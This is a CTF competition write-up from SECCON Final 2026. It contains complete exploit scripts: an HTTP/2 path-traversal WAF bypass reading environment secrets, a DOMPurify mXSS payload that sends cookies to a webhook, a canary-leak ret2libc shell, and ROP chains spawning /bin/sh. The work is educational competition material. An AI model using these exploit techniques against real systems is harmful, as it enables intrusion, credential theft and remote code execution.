Logo
Overview

SECCON CTF Final 2026

March 14, 2026
11 min read
seccon-blog-en

2026 SECCON CTF Final

Table of Contents

  • 1st Day Jeopardy Style CTF
    • Warpup(web)
    • DOMDOMDOMPurify(web)
    • scrofa(pwn)
  • 2nd Day King of the Hill Style CTF
    • Bid My Gadget(pwn)
    • t1
    • t2
    • t3
    • t4
  • Japan Trip

1st Day Jeopardy Style CTF

The first day was a Jeopardy-style CTF, the format we’re all familiar with, where you simply solve challenges. I solved 2 web hacking challenges and 1 pwnable challenge, so I’ll write up the solutions for those. What was fun was that when you solved a challenge, asfd

a VTuber would appear and give you a thumbs up. Our team finished 4th on the first day. f

Warpup

Looking at the backend code:

let path: String = body
.fold(String::from("./"), |mut path, buf| async move {
...
path += &String::from_utf8(chunk.into()).unwrap_or_default();
...
path
})
.await;
fs::read_to_string(&path).unwrap_or(format!("Not Found: {}", &path).into())

The request body is appended to ./ without validation to read files. This immediately suggests Path Traversal. While looking for defense logic against Path Traversal, I found the following in proxy/app.py:

def waf(req: str) -> bool:
return (".." in req or "transfer" in req.lower())

It’s a very weak filter that only checks for string inclusion. The flag is in environ, so it seems we need to bypass the filter to read /proc/self/environ. HTTP/2 can split the body across multiple DATA frames, which allowed us to bypass the filter detecting ... Since the backend simply concatenates DATA payloads to create the final body, we can get the Flag from /proc/self/environ.

import re
import socket
import sys
HOST = sys.argv[1] if len(sys.argv) > 1 else "warpup.int.seccon.games"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3000
def frame(ftype: int, flags: int, sid: int, payload: bytes = b"") -> bytes:
n = len(payload)
return bytes(
[
(n >> 16) & 0xFF,
(n >> 8) & 0xFF,
n & 0xFF,
ftype & 0xFF,
flags & 0xFF,
(sid >> 24) & 0x7F,
(sid >> 16) & 0xFF,
(sid >> 8) & 0xFF,
sid & 0xFF,
]
) + payload
def hpack_lit(name: str, value: str) -> bytes:
nb = name.encode()
vb = value.encode()
if len(nb) >= 128 or len(vb) >= 128:
raise ValueError("header too long for this simple encoder")
return bytes([0x00, len(nb)]) + nb + bytes([len(vb)]) + vb
def build_request() -> bytes:
parts = [".", ".", "/", ".", ".", "/proc/self/environ"]
body = "".join(parts)
headers = b"".join(
[
hpack_lit(":method", "POST"),
hpack_lit(":scheme", "http"),
hpack_lit(":path", "/file"),
hpack_lit(":authority", HOST),
hpack_lit("content-length", str(len(body))),
]
)
req = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
req += frame(0x4, 0x00, 0, b"")
req += frame(0x1, 0x04, 1, headers)
for i, p in enumerate(parts):
flags = 0x01 if i == len(parts) - 1 else 0x00
req += frame(0x0, flags, 1, p.encode())
return req
def recv_all(sock: socket.socket) -> bytes:
out = b""
sock.settimeout(2)
while True:
try:
c = sock.recv(65535)
if not c:
break
out += c
except Exception:
break
return out
def extract_data_stream1(raw: bytes) -> bytes:
i = 0
body = b""
while i + 9 <= len(raw):
length = (raw[i] << 16) | (raw[i + 1] << 8) | raw[i + 2]
ftype = raw[i + 3]
sid = (
((raw[i + 5] & 0x7F) << 24)
| (raw[i + 6] << 16)
| (raw[i + 7] << 8)
| raw[i + 8]
)
i += 9
if i + length > len(raw):
break
payload = raw[i : i + length]
i += length
if ftype == 0x0 and sid == 1:
body += payload
return body
def main():
req = build_request()
with socket.create_connection((HOST, PORT), timeout=10) as s:
s.sendall(req)
raw = recv_all(s)
body = extract_data_stream1(raw)
m = re.search(rb"SECCON\{[^}]+\}", body)
if m:
print(m.group().decode())
else:
print("flag not found")
if __name__ == "__main__":
main()

SECCON{Wha7_ch4racter_did_you_use_7o_s0lv3_1t??}

DOMDOMDOMPurify

Looking at the web code, it sanitizes input values x, y, z with DOMPurify and concatenates them with string replace at the end.

DOMPurify.addHook("afterSanitizeAttributes", (node) => {
for (const { name, value } of node.attributes) {
if (/[{}]/.test(value)) node.attributes.removeNamedItem(name);
}
});
result.innerHTML = "{X}{Y}{Z}"
.replace("{X}", () => DOMPurify.sanitize(`<span>${x}</span>`))
.replace("{Y}", () => DOMPurify.sanitize(`<span>${y}</span>`))
.replace("{Z}", () => DOMPurify.sanitize(`<span>${z}</span>`));

At first, it looks safe since the hook removes attributes containing {}, but looking closely, it’s deleting from node.attributes while iterating over it. Since NamedNodeMap is live, one of the adjacent attributes can be skipped in the check.

So if we create:

<img alt="{Z}" src="{Y}">

We can create a case where alt is removed but src="{Y}" remains.

The key point is that .replace("{Y}", ...) only replaces the first {Y}, so the {Y} inside img src gets replaced before the intended body position. As a result, the sanitized y string is interpreted in the attribute context, causing an attribute breakout.

Looking at the bot code, it sets a FLAG cookie with domain=web before visiting the URL.

await context.setCookie({
name: "FLAG",
value: flag.value,
domain: challenge.appUrl.hostname,
path: "/",
});

So if we create an XSS, we can extract the flag from document.cookie.

#!/usr/bin/env python3
import argparse
import json
import time
import urllib.error
import urllib.parse
import urllib.request
def build_exploit_url(webhook_url: str) -> str:
x = '</span><img alt="{Z}" src="{Y}">'
y = (
f'" onerror="location=\'{webhook_url}?c=\'+encodeURIComponent(document.cookie)" '
'src="x'
)
z = "1"
query = urllib.parse.urlencode({"x": x, "y": y, "z": z})
return f"http://web:3000/?{query}"
def post_report(bot_base: str, target_url: str) -> tuple[int, str]:
endpoint = bot_base.rstrip("/") + "/api/report"
body = json.dumps({"url": target_url}).encode()
req = urllib.request.Request(
endpoint,
data=body,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=20) as resp:
data = resp.read().decode(errors="replace")
return resp.status, data
def poll_flag(token: str, timeout: int, interval: float) -> str | None:
endpoint = f"https://webhook.site/token/{token}/requests?sorting=newest"
deadline = time.time() + timeout
while time.time() < deadline:
try:
with urllib.request.urlopen(endpoint, timeout=15) as resp:
data = json.loads(resp.read().decode())
except urllib.error.URLError:
time.sleep(interval)
continue
for item in data.get("data", []):
query = item.get("query") or {}
c = query.get("c")
if not c:
continue
if "SECCON{" in c:
if c.startswith("FLAG="):
return c.split("FLAG=", 1)[1]
return c
time.sleep(interval)
return None
def main() -> int:
parser = argparse.ArgumentParser(description="SECCON DOMDOMDOMPurify exploit")
parser.add_argument(
"--bot",
default="http://domdomdom.int.seccon.games:1337",
help="Admin bot base URL",
)
parser.add_argument(
"--webhook-token",
required=True,
help="Webhook.site token UUID",
)
parser.add_argument("--timeout", type=int, default=90, help="Polling timeout seconds")
parser.add_argument("--interval", type=float, default=2.0, help="Polling interval seconds")
args = parser.parse_args()
webhook_url = f"https://webhook.site/{args.webhook_token}"
exploit_url = build_exploit_url(webhook_url)
print(f"[+] Exploit URL: {exploit_url}")
print(f"[+] Report to: {args.bot.rstrip('/')}/api/report")
status, body = post_report(args.bot, exploit_url)
print(f"[+] Report response: {status} {body.strip()}")
flag = poll_flag(args.webhook_token, args.timeout, args.interval)
if flag:
print(f"[+] FLAG: {flag}")
return 0
print("[-] Flag not received in time")
return 1
if __name__ == "__main__":
raise SystemExit(main())

SECCON{abus3d_mXSS_pr0tections}

scrofa

This challenge has the following features:

  • 1: Input note content
  • 2: Output note
  • 3: Save file (fopen(save->path, "w")) I found the vulnerability immediately. In scanf("%[^\n]%*c", note);, note is 0x1000 bytes, but there’s no input length limit, allowing overflow. Initially, I tried to leak addresses using fwrite in the code but failed.
FILE *fp = fopen(save->path, "w");
if (!fp) {
perror(save->path);
break;
}

In this branch, if we overwrite save->path, perror will print the string pointed to by that pointer, allowing us to complete the leak. Let me explain the exploit design: First, write A * 0x1060 + b"\x00" to manipulate the lower byte of save->path. Then press Save to measure the prefix length in the perror output before ": <errno>". We need this value to match canary leak to tempname + const and calculate the 1-byte overwrite value based on the current session’s stack low16.

After setting 1 byte to make save->path = tempname + 0x59, then Save.

Read the 7 bytes before the perror prefix:

canary = b"\x00" + leaked[:7]

to restore the canary.

Set to save->path = tempname + 0x78 to leak main’s return pointer.

leaked_ret = u64(leaked[:6].ljust(8, b"\x00"))
libc_base = leaked_ret - 0x2a1ca

The final exploit was relatively easy using ret2libc.

#!/usr/bin/env python3
import argparse
import os
import re
from typing import Optional
from pwn import ELF, ROP, context, flat, p64, process, remote, u64
context.arch = "amd64"
context.log_level = "error"
RET_TO_LIBC_OFF = 0x2A1CA
CANARY_OFFSET_IN_MAIN = 0x59
RET_OFFSET_IN_MAIN = 0x78
PROBE_PREFIX_LEN_BIAS = 0x40
def parse_perror_prefix(out: bytes) -> Optional[bytes]:
if not out.endswith(b"> "):
return None
body = out[:-2]
pos = body.rfind(b": ")
if pos < 0:
return None
err = body[pos + 2 :].split(b"\n", 1)[0]
if err not in {
b"No such file or directory",
b"Read-only file system",
b"Permission denied",
b"Invalid argument",
}:
return None
return body[:pos]
def recv_menu(io) -> bytes:
return io.recvuntil(b"> ", timeout=1.0)
def menu_write(io, payload: bytes) -> None:
io.sendline(b"1")
io.recvuntil(b"New content: ", timeout=1.0)
io.send(payload + b"\n")
recv_menu(io)
def menu_save(io) -> bytes:
io.sendline(b"3")
return recv_menu(io)
def connect_target(host: str, port: int, local_bin: Optional[str]):
if local_bin:
return process(local_bin)
return remote(host, port, timeout=1.0)
def solve_once(host: str, port: int, local_bin: Optional[str], libc: ELF):
rop = ROP(libc)
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
ret = rop.find_gadget(["ret"]).address
system = libc.symbols["system"]
binsh = next(libc.search(b"/bin/sh\x00"))
io = connect_target(host, port, local_bin)
recv_menu(io)
menu_write(io, b"A" * 0x1060 + b"\x00")
p0 = parse_perror_prefix(menu_save(io))
if p0 is None or not p0 or any(ch != 0x41 for ch in p0):
io.close()
return None
temp_low16 = len(p0) - PROBE_PREFIX_LEN_BIAS
if temp_low16 < 0 or temp_low16 > 0x87:
io.close()
return None
c_can = temp_low16 + CANARY_OFFSET_IN_MAIN
c_ret = temp_low16 + RET_OFFSET_IN_MAIN
menu_write(io, b"A" * 0x1060 + bytes([c_can]))
p_can = parse_perror_prefix(menu_save(io))
if p_can is None or len(p_can) < 7:
io.close()
return None
canary = b"\x00" + p_can[:7]
menu_write(io, b"A" * 0x1060 + bytes([c_ret]))
p_ret = parse_perror_prefix(menu_save(io))
if p_ret is None or len(p_ret) < 6:
io.close()
return None
leaked_ret = u64(p_ret[:6].ljust(8, b"\x00"))
if (leaked_ret >> 40) != 0x7F:
io.close()
return None
libc_base = leaked_ret - RET_TO_LIBC_OFF
chain = flat(
p64(libc_base + ret),
p64(libc_base + pop_rdi),
p64(libc_base + binsh),
p64(libc_base + system),
)
payload = b"A" * 0x1008 + canary + b"B" * 8 + chain
if b"\n" in payload:
io.close()
return None
menu_write(io, payload)
io.sendline(b"9")
io.sendline(b"cat /app/flag-* 2>/dev/null || id")
out = io.recvrepeat(1.5)
io.close()
m = re.search(rb"(SECCON\{[^}\n]+\}|FLAG\{[^}\n]+\})", out)
return {
"temp_low16": temp_low16,
"canary": canary,
"leaked_ret": leaked_ret,
"libc_base": libc_base,
"output": out,
"flag": m.group(1).decode() if m else None,
}
def main() -> None:
parser = argparse.ArgumentParser(
description="scrofa exploit (perror-based leaks + ret2libc)"
)
parser.add_argument("--host", default="scrofa.int.seccon.games")
parser.add_argument("--port", type=int, default=5000)
parser.add_argument("--libc", default="./libc_scrofa.so.6")
parser.add_argument("--attempts", type=int, default=3000)
parser.add_argument(
"--local-bin",
default=None,
help="If set, run local process instead of remote TCP.",
)
args = parser.parse_args()
libc_path = args.libc
if not os.path.isabs(libc_path):
libc_path = os.path.join(os.path.dirname(__file__), libc_path)
libc = ELF(libc_path, checksec=False)
for i in range(1, args.attempts + 1):
try:
result = solve_once(args.host, args.port, args.local_bin, libc)
except Exception:
result = None
if not result:
if i % 100 == 0:
print(f"[attempt {i}] still searching suitable stack low16...")
continue
print(f"[attempt {i}] exploit path found")
print(f" temp_low16 = 0x{result['temp_low16']:x}")
print(f" leaked_ret = 0x{result['leaked_ret']:x}")
print(f" libc_base = 0x{result['libc_base']:x}")
print(result["output"].decode("latin-1", "ignore"), end="")
if result["flag"]:
print(f"\n[+] flag = {result['flag']}")
return
if __name__ == "__main__":
main()

SECCON{1n05h1$Hi_Um4_uMA!} As a side note, I was running out of time on this challenge, so I explained my idea to codex5.3, showed it the debugging process, and let it handle the exploit. I was amazed when it completed the exploit in just 2 minute.

2nd Day King of the Hill Style CTF

The King of the Hill format runs with one tick every 5 minutes. For the pwnable challenges I solved, we needed to solve problems requiring the smallest ROP chains. Also, necessary gadgets had to be purchased in auctions held every 30 minutes, making auction skills quite important.

t1 - Paint the Canvas

t1
Paint the Canvas
Write dword 0xdeadbeef to address 0x50001337.
{
"addr": 1342182199,
"size": 4,
"type": "mem_eq",
"value": 3735928559
}

The gadgets used for this challenge:

  • 0x4015b1: pop rbx; ret (from 0x4015b0 + 1)
  • 0x402070: xchg rbx, rcx; ret
  • 0x401268: pop rbp; ret (from 0x401260 + 8)
  • 0x4013d0: pop r13; push rsp; pop rsp; add rsp, 8; ret
  • 0x401280: mov dword ptr [rbp - 0xd28], ecx; call r13
  • 0x4013b0: hlt
SlotQWORD ValueMeaning
00x00000000004015b1pop rbx; ret
10x00000000deadbeefrbx <- 0xdeadbeef
20x0000000000402070xchg rbx, rcx
30x0000000000401268pop rbp; ret
40x000000005000205frbp <- target+0xd28 (0x50001337 + 0xd28)
50x00000000004013d0pop r13; ... add rsp,8; ret
60x00000000004013b0r13 <- hlt
70x0000000000000000dummy skipped by add rsp,8
80x0000000000401280mov dword [rbp-0xd28], ecx; call r13
  1. Load 0xdeadbeef with pop rbx.
  2. Move value to ecx with xchg rbx,rcx.
  3. Set 0x50001337 + 0xd28 to pop rbp.
  4. Prepare r13 = hlt with pop r13....
  5. Execute mov dword [rbp-0xd28], ecx to write 4 bytes to 0x50001337.
  6. Call hlt with call r13 to terminate.

t2 - Way Out

t2
Way Out
Execute syscall(rax=60, rdi=<dword from address 0x50001234>)
{
"checks": [
{
"regs": {
"rax": 60
},
"type": "syscall"
},
{
"addr": 1342181940,
"reg": "rdi",
"type": "reg_eq_mem_u32_initial"
}
],
"type": "and"
}

The gadgets used for this challenge:

  • 0x401090: add eax, 0x1c937; ret
  • 0x4014c5: and eax, 0xfe; ret (from 0x4014c0 + 5)
  • 0x401410: add eax, 3; ret
  • 0x4015b1: pop rbx; ret
  • 0x401321: mov edi, dword ptr [rbx + 0x1fb8a9]; ret 0x17 (from 0x401320 + 1)
  • 0x401170: syscall
IndexValueMeaning
00x0000000000401090Start rax calculation
10x00000000004014c5and eax,0xfe
20x0000000000401410add eax,3
30x0000000000401410add eax,3 -> rax=60
40x00000000004015b1pop rbx
50x000000004fe0598brbx = 0x50001234 - 0x1fb8a9
60x0000000000401321mov edi,[rbx+off]; ret 0x17
  1. Create rax=60 with add/and/add/add.
  2. Put 0x4fe0598b in pop rbx.
  3. mov edi,[rbx+0x1fb8a9] to get rdi <- *(u32*)0x50001234.
  4. ret 0x17 advances rsp significantly, and with the remaining 3 tail bytes (70 11 40) + zero-filled stack, RIP becomes 0x401170.
  5. Trigger syscall.

t3 - Art Forgery

t3
Art Forgery
Copy 0x40 bytes from address 0x50001000 to 0x5000f000.
{
"dst": 1342238720,
"size": 64,
"src": 1342181376,
"type": "mem_copy"
}

The core block used for this challenge:

Front part of 0x401010 block:

...
movsq
call qword ptr [rdx - 0xfe8]

Used repeatedly to copy 8 bytes at a time. Since we’re copying 0x40 bytes, we need 8 movsq operations. Key points of this challenge:

  1. Use a fixed stack position (0x7fff00000200) as the call target table.
  2. Use mov dword [rbp-0xd28], ecx; call r13 to write 0x4015b1 to the lower 4 bytes of table[0].
  3. Since the upper 4 bytes of the table are 0, the entry becomes 0x00000000004015b1(=pop rbx; ret).
  4. After that, call [rdx-0xfe8] always goes to pop rbx; ret, which consumes the next RIP from the stack, forming a loop.
SlotQWORD ValueMeaning
00x00000000004013d0pop r13; ... add rsp,8; ret
10x00000000004015b1r13 <- pop_rbx_ret
20x0000000000000000skipped
30x0000000000401268pop rbp; ret
40x00007fff00000f28table+0xd28
50x00000000004015b1next RIP
60x00000000004015b1rbx <- 0x4015b1
70x0000000000402070xchg rbx,rcx
80x0000000000401280mov dword [rbp-0xd28],ecx; call r13
90x0000000000402080xchg rcx,rdx
100x0000000000401268pop rbp; ret
110x000000005000f000rbp <- dst
120x00000000004015a0xchg ebp,edi; jmp rdx
130x0000000050001000(consumed by pop rbx after jmp) src
140x0000000000402070xchg rbx,rcx
150x00000000004014a0xchg ecx,esi; add rdx,rcx; jmp rdx
160x00007fff000011e8(consumed by pop rbx after jmp) rdx_for_call
170x0000000000402070xchg rbx,rcx
180x0000000000402080xchg rcx,rdx
190x0000000000401010movsq loop #1
200x0000000000401010movsq loop #2
210x0000000000401010movsq loop #3
220x0000000000401010movsq loop #4
230x0000000000401010movsq loop #5
240x0000000000401010movsq loop #6
250x0000000000401010movsq loop #7
260x0000000000401010movsq loop #8
  1. Bootstrap writer to plant pop_rbx_ret function pointer at table[0].
  2. Prepare rdi=dst, rsi=src, rdx=table+0xfe8.
  3. Each execution of 0x401010 copies 8 bytes with movsq.
  4. The following call [rdx-0xfe8] branches to pop rbx; ret, fetching the next chain entry as RIP and repeating.
  5. After 8 iterations, terminate with tail hlt.

t4 - Call the Curator

t4
Call the Curator
Execute syscall(rax=59, rdi="/bin/sh", rsi={"/bin/sh", "-c", "/readflag", NULL}, rdx=0)
{
"args": {
"rdi": {
"type": "cstr_eq",
"value": "/bin/sh"
},
"rdx": {
"type": "ptr_eq",
"value": 0
},
"rsi": {
"type": "ptr_array_cstr_eq",
"values": [
"/bin/sh",
"-c",
"/readflag",
null
]
}
},
"regs": {
"rax": 59
},
"type": "syscall"
}

The core idea for this challenge:

Using the lea rsi, [rsp+0x18] + lodsq combination to sequentially read (target, value) pairs mixed into the chain.

The repetition pattern:

  1. lodsq -> target address
  2. mov rdi, rax
  3. lodsq -> value
  4. mov [rdi], rax

Perform this pattern 3 times to write the following qwords to scratch:

  • 0x50001347 <- "flag\0\0\0\0"
  • 0x5000133f <- "-c\0/read"
  • 0x50001337 <- "/bin/sh\0"

This results in:

  • 0x50001337: "/bin/sh\0"
  • 0x5000133f: "-c\0"
  • 0x50001342: "/readflag\0" (front qword + back qword concatenated)
SlotQWORD ValueMeaning
00x0000000000402510lea rsi,[rsp+0x18]; ret
10x00000000004013d4add rsp,8; ret (offset entry)
20x0000000000000000skipped
30x0000000000401310pop rbp; add rsp,0x28; ret
40x0000000050001347t1 (or popped as rbp)
50x0000000067616c66v1 = "flag"
60x000000005000133ft2
70x646165722f00632dv2 = "-c\\0/read"
80x0000000050001337t3
90x0068732f6e69622fv3 = "/bin/sh\\0"
100x0000000000402640lodsq
110x0000000000402420mov rdi,rax
120x0000000000402640lodsq
130x00000000004022a0mov [rdi],rax
140x0000000000402640lodsq
150x0000000000402420mov rdi,rax
160x0000000000402640lodsq
170x00000000004022a0mov [rdi],rax
180x0000000000402640lodsq
190x0000000000402420mov rdi,rax
200x0000000000402640lodsq
210x00000000004022a0mov [rdi],rax
220x0000000000402510lea rsi,[rsp+0x18] (realign to syscall arg lane)
230x0000000000402640lodsq -> rax=59
240x0000000000401170syscall
250x0000000000000000dummy
260x000000000000003b59
270x0000000050001337argv[0] ptr
280x000000005000133fargv[1] ptr

Tail bytes:

42 13 00 50

These are the lower 4 bytes of argv[2] = 0x0000000050001342, with the upper bytes compensated by zero-fill. The next qword is also zero-filled to become argv[3]=NULL.

Execution flow:

  1. Use 3 prefixes to align rsi to the data lane start.
  2. Build string blocks with 3 lodsq/mov patterns.
  3. After the last write, rdi already points to ptr_binsh.
  4. Re-execute lea rsi to move to the syscall arg lane starting position.
  5. lodsq for rax=59.
  6. When calling syscall:
    • rdi = 0x50001337 -> "/bin/sh"
    • rsi = &argv ([ptr_binsh, ptr_dashc, ptr_readflag, NULL])
    • rdx = 0

Japan Trip

I was in Japan for 4 days but only had about 5 hours for sightseeing on the last day. a I visited Sensoji Temple and drew a fortune there. d You shake this small container to draw your fortune, and I got fd this one. Since I don’t know Japanese, I asked ChatGPT what it meant. It was a moderate fortune which was a bit disappointing, but I was satisfied that I didn’t draw a bad one. Next, I went to Tokyo Tower and then headed straight to the airport to return home. fffff

Finally, thank you for reading this post. Thanks to SECCON for hosting this excellent competition. Also thanks to spl and [:] for giving me the opportunity to participate in the finals.